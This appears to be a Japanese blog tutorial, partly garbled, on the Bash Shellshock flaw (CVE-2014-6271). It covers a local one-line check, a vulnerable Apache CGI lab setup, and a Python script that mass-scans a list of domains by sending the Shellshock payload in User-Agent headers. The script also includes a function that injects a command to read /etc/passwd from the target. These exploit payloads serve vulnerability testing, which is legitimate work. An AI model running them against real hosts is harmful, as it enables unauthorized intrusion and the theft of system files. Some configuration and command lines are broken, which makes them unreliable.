Bash Shellshock(CVE-2014-6271)破殻脆弱性試験

4220 ワード

0 x 01脆弱性原理


Bashが使用する環境変数は、関数名によって呼び出され、脆弱性に問題が生じるのは「(){」で始まる環境変数がコマンドENVで関数に解析された後、Bash実行は終了せず、shellコマンドを解析して実行し続けることである.その核心的な原因は、入力されたフィルタリングにおいて境界を厳格に制限せず、正当化されたパラメータ判断もしていないことである.

0 x 2 Bashシェルの脆弱性テスト


2.1ローカルテスト文:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

出力:
vulnerable

this is a test

抜け穴があることを説明します.そうしないとありません.

2.2脆弱性の再現:


2.2.1インストール構成:

  • Centos6 Apache2.2 CGI
  • yum install httpd
    service iptables stop

    httpd.conf構成
    
    1、576 /var/www/cgi-bin cgi-bin,
    
    ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
    
     cgi
    2、582 Options
    
    
        AllowOverride None
        Options ExecCGI
        Order allow,deny
        Allow from all
    
    
    
    3、796 , 
    
    AddHandler cgi-script .cgi .pl .sh
    
    4、200 cgi 
    
    LoadModule cgi_module modules/mod_cgi.so
    

    POC.cgiはcgi-binに配置され、具体的な内容は以下の通りです.
    #!/bin/bash
    
    echo "Content-type: text/html"
    echo ""
    
    echo ''
    echo ''
    echo ''
    echo 'PoC'
    echo ''
    echo ''
    echo '
    '
    /usr/bin/env
    echo '
    '
    echo ''
    echo ''

    2.2.1 Bash :


    Bashをダウンロードした 、apacheはデフォルトで/bin/bashを び しているため、 はありません.だからソフトリンクで のあるBashを び す
    $ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
    $ tar xf bash-4.1.tar.gz
    $ cd bash-4.1
    $ ./configure
    $ make & make install
    $ ln -s /usr/local/bin/bash /bin/bash  

    2.2ロットテスト

    # -*- coding:utf8 -*-
    
    import urllib.parse
    import urllib.request
    import ssl
    import re
    import sys
    from socket import timeout
    import http.client    # 
    import os
    
    domain_list = []
    result = []
    
    # 
    def read_file(file_path):
        #  , , 
        if not os.path.exists(file_path):
            print('Please confirm correct filepath ! ')
            sys.exit(0)
        else:
            with open(file_path, 'r') as source:
                for line in source:
                    domain_list.append(line.rstrip('\r
    ').rstrip('
    ')) def bash_exp(url): hostname, urlpath = urllib.parse.urlsplit(url)[1:3] try: conn = http.client.HTTPConnection(hostname, timeout=20) headers = {"User-Agent": '() { :;}; echo vulnerable /bin/bash -c "echo this is a test"'} conn.request("GET", urlpath, headers=headers) res = conn.getresponse() if res and res.status == 500: print("{host} : discover Vulnerable! ".format(host=hostname)) result.append(hostname) else: print("{host} :No Bash Vulnerable! ".format(host=hostname)) #except Exception, e: except Exception as e: print("{host} is {err}".format(host=hostname,err=e)) def cat_passwd(hostname, urlpath): print("cat /etc/passwd :") conn3 = http.client.HTTPConnection(hostname, timeout=20) headers3 = {"User-Agent": "() { :;}; echo `/bin/cat /etc/passwd`"} conn3.request("GET", urlpath, headers=headers3) res3 = conn3.getresponse() res = res3.getheaders() for passwdstr in res: print(passwdstr[0] + ':' + passwdstr[1]) if __name__ == '__main__': read_file(os.getcwd()+"//attck.txt") for domain in domain_list: test_url = ("http://{domain}/cgi-mod/index.cgi").format(domain=domain) bash_exp(test_url) for ret in result: with open("result.txt","a+") as file: file.write(ret)

    2.3


    https://www.linode.com/docs/web-servers/apache/run-php-cgi-apache-centos-6/https://www.freebuf.com/news/48331.htmlhttps://blog.csdn.net/yaofeino1/article/details/55211993https://www.cyberciti.biz/faq/how-do-i-check-my-bash-version/
    :https://www.cnblogs.com/17bdw/p/10901062.html